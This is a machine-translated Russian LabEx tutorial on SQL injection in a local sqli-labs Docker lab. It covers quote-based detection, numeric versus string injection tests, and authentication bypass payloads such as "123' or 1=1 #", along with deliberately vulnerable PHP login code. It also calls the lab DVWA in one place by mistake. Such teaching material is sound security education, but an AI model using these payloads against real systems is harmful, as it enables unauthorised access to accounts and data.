Эксплуатация уязвимостей SQL-инъекции: подходы и методы

Beginner

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

SQL-инъекция - это популярная техника, используемая атакующими для эксплойта веб-приложений путем создания вредоносного ввода и выполнения произвольных SQL-инструкций в бэкенд-базе данных. В этом лабораторном занятии (LabEx) мы настроим среду для SQL-инъекции, используя sqli-labs с Docker, и проведем практические эксперименты, чтобы понять принципы и методы эксплойта уязвимостей SQL-инъекции.


Skills Graph

Определение точек инъекции

Добро пожаловать в наш вводный курс по тестированию веб-безопасности, в котором мы сосредоточимся на выявлении потенциальных уязвимостей SQL-инъекции. SQL-инъекция - это распространенная и потенциально разрушительная уязвимость безопасности в веб-приложениях, но с правильными знаниями вы можете научиться выявлять и предотвращать ее.

Что такое SQL-инъекция?

SQL-инъекция - это техника, при которой атакующий вставляет вредоносный SQL-код в запрос к базе данных веб-приложения. Если веб-приложение не корректно очищает пользовательский ввод, это может привести к утечке данных, потере данных или другим серьезным проблемам.

Определение потенциальных точек SQL-инъекции

Веб-приложения, взаимодействующие с базой данных, часто имеют URL-адреса, содержащие параметры. Эти параметры могут быть потенциально эксплуатируемыми, если они не корректно очищены. Например, вы можете увидеть URL-адрес, который выглядит следующим образом:

http://some-website.com/page.php?id=XX

В этом URL-адресе id - это параметр, который взаимодействует с базой данных. Любая веб-страница, использующая такие параметры, может быть потенциально уязвима к SQL-инъекции, если ввод не корректно очищен.

Тестирование на наличие SQL-инъекции: метод одинарной кавычки

Одним простым способом проверить наличие уязвимостей SQL-инъекции является использование метода одинарной кавычки. Вот как это делается:

  1. Добавьте одинарную кавычку (') к значению параметра в URL-адресе. Например, вы можете изменить URL-адрес так, чтобы он выглядел следующим образом: http://some-website.com/page.php?id=1'
  2. Если веб-страница возвращает ошибку после нажатия клавиши Enter, это может означать, что сайт уязвим к SQL-инъекции.

Причина, по которой этот метод работает, заключается в том, что как числовые, так и строковые типы данных в SQL будут генерировать синтаксическую ошибку при введении несбалансированной одинарной кавычки. Эта ошибка может показать наличие уязвимости SQL-инъекции.

Важное примечание

Если при добавлении одинарной кавычки не отображается ошибка, это не обязательно означает, что нет уязвимости SQL-инъекции. Возможно, приложение фильтрует одинарные кавычки, что потребует использования других методов для тестирования на уязвимости. Не беспокойтесь, мы рассмотрим эти более продвинутые методы в следующем уроке.

Помните, что этический хакерство направлено на улучшение безопасности. Всегда уважайте конфиденциальность и законность в своих тестировании. Приятного обучения!

Определение типа SQL-инъекции

Отличная работа по выявлению потенциальных точек SQL-инъекции! Теперь перейдем к следующему шагу: определению типа уязвимости SQL-инъекции. Мы сосредоточимся на двух основных типах: числовой и строковой SQL-инъекции.

Числовая SQL-инъекция

Когда входной параметр (назовем его x) обрабатывается веб-приложением как целое число, SQL-запрос может выглядеть следующим образом:

select * from <table_name> where id = x

Для определения числовой SQL-инъекции мы используем два простых логических условия: and 1=1 и and 1=2. Вот как это делается:

  1. Введите http://some-website.com/page.php?id=x and 1=1 в адресную строку браузера. Если страница загружается как обычно, перейдите к следующему шагу.
  2. Теперь попробуйте http://some-website.com/page.php?id=x and 1=2. Если страница возвращает ошибку или ведет себя по-другому, это может указывать на уязвимость числовой SQL-инъекции.

Почему это работает?

Когда вы вводите and 1=1, результирующий SQL-запрос выглядит так:

select * from <table_name> where id = x and 1=1

Условие 1=1 всегда истинно, поэтому если страница загружается нормально, это говорит о том, что ввод напрямую вставляется в SQL-запрос.

Когда вы вводите and 1=2, результирующий SQL-запрос выглядит так:

select * from <table_name> where id = x and 1=2

Условие 1=2 всегда ложно, поэтому если страница ведет себя по-другому (например, возвращает ошибку), это говорит о том, что наш ввод влияет на SQL-запрос, что указывает на потенциальную уязвимость SQL-инъекции.

Строковая SQL-инъекция

В некоторых случаях входной параметр x обрабатывается как строка. SQL-запрос может выглядеть следующим образом:

select * from <table_name> where id = 'x'

Для определения строковой инъекции мы используем подход, аналогичный числовой инъекции, но с использованием строковых условий: and '1'='1' и and '1'='2'. Вот как это делается:

  1. Введите http://some-website.com/page.php?id=x' and '1'='1 в адресную строку браузера. Если страница загружается как обычно, перейдите к следующему шагу.
  2. Теперь попробуйте http://some-website.com/page.php?id=x' and '1'='2. Если страница возвращает ошибку или ведет себя по-другому, это может указывать на уязвимость строковой SQL-инъекции.

Почему это работает?

Когда вы вводите and '1'='1', результирующий SQL-запрос выглядит так:

select * from <table_name> where id = 'x' and '1'='1'

Условие '1'='1' всегда истинно, поэтому если страница загружается нормально, это говорит о том, что ввод напрямую вставляется в SQL-запрос.

Когда вы вводите and '1'='2', результирующий SQL-запрос выглядит так:

select * from <table_name> where id = 'x' and '1'='2'

Условие '1'='2' всегда ложно, поэтому если страница ведет себя по-другому (например, возвращает ошибку), это говорит о том, что наш ввод влияет на SQL-запрос, что указывает на потенциальную уязвимость SQL-инъекции.

В обоих случаях помните, что необычный ответ от веб-приложения может быть признаком того, что вы нашли точку SQL-инъекции. Однако всегда убедитесь, что у вас есть разрешение на выполнение этих тестов и используйте свои навыки ответственно. Приятного обучения!

Эксплуатация SQL-инъекции для обхода аутентификации

В этом лабораторном занятии (LabEx) мы углубимся в уязвимости SQL-инъекции. Наша цель - показать, как эксплуатировать эти уязвимости для обхода аутентификации при входе в систему, техника, часто называемая "универсальным парольным" атакой.

Подготовка лабораторной среды

Для начала нам нужно подготовить лабораторную среду. Мы будем использовать Damn Vulnerable Web Application (DVWA) - это веб-приложение на PHP/MySQL, специально разработанное с умышленными уязвимостями, что делает его идеальным инструментом для изучения безопасности веб-приложений.

  1. Скачайте Docker-образ sqli-labs: Docker-образ sqli-labs доступен для скачивания на Docker Hub. Используйте следующую команду в терминале для его загрузки:

    docker pull acgpiano/sqli-labs
  2. Запустите Docker-контейнер sqli-labs: После скачивания образа запустите его с помощью следующей команды:

    docker run -it -d --name sqli-labs -p 80:80 -p 13306:3306 acgpiano/sqli-labs

    Эта команда запускает новый контейнер и сопоставляет порт 80 и 3306 в контейнере с портами 80 и 13306 на вашем хост-компьютере соответственно.

Следуя этим шагам, вы успешно настроили необходимую лабораторную среду.

После завершения настройки откройте браузер Firefox и введите в адресную строку http://localhost.

Если вы впервые заходите на http://localhost, нажмите на Setup/reset Database for lab, чтобы подготовить лабораторную среду, а затем обновите страницу.

Определение SQL-инъекции

Теперь, когда вы нажимаете на Less-11, вы должны увидеть простую страницу входа. Попробуйте ввести произвольное имя пользователя 123 и пароль 123.

Страница ошибки сообщит: "Invalid username or password" (Неверное имя пользователя или пароль).

Анализ бэкенд-кода

Рассмотрим бэкенд-код, ответственный за процесс аутентификации:

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];

	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname);
	fwrite($fp,'Password:'.$passwd."\n");
	fclose($fp);

	// connectivity
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
....
}

Фактический SQL-запрос, который выполняется:

SELECT * FROM users WHERE username='123' AND password='123' LIMIT 0,1

Этот запрос прост в понимании: если он возвращает строку, в которой совпадают как username, так и password, то вход в систему успешен.

Эксплуатация уязвимости

Исходя из знаний предыдущего лабораторного занятия, попробуем ввести следующий пейлоад (набор данных для атаки):

Имя пользователя: 123' or 1=1 #
Пароль: 123' or 1=1 #

Интересно, что это позволяет нам успешно войти в систему! Причина этого заключается в том, что фактический SQL-запрос, который выполняется:

SELECT * FROM users WHERE username='123' or 1=1 #' AND password='123' or 1=1 #'

В MySQL символ # используется для комментирования остальной части строки, поэтому запрос фактически становится:

SELECT * FROM users WHERE username='123' or 1=1

Поскольку условие or 1=1 всегда истинно, запрос всегда вернет результат, что приводит к успешному входу в систему.

Мы также можем поэкспериментировать с вариантом, который не использует символ комментария:

Имя пользователя: 123' or '1'='1
Пароль: 123' or '1'='1

Тогда выполняемый SQL-запрос будет:

SELECT * FROM users WHERE username='123' or '1'='1' AND password='123' or '1'='1'

В этом случае два условия or гарантируют, что условие and между ними всегда истинно, что также приводит к успешному входу в систему.

Заключение

Как показано выше, существует множество методов, которые можно использовать для эксплуатации уязвимостей SQL-инъекции и обхода аутентификации. Не стесняйтесь исследовать и экспериментировать с разными пейлоадами. Цель здесь - понять эти уязвимости, чтобы вы могли лучше защитить свои собственные приложения от них. Приятного этического хакерства!

Резюме

В этом лабораторном занятии (LabEx) мы научились определять уязвимости SQL-инъекции с помощью метода одинарной кавычки и определять тип SQL-инъекции (числовой или строковый) с использованием специальных пейлоадов (наборов данных для атаки). Мы также изучили эксплуатацию уязвимостей SQL-инъекции для обхода аутентификации при входе в систему, что является распространенным сценарием, известным как "универсальная парольная" атака. Проводя практические эксперименты, мы приобрели практический опыт в понимании и эксплуатации уязвимостей SQL-инъекции, которые часто встречаются в веб-приложениях, если не реализована правильная очистка входных данных.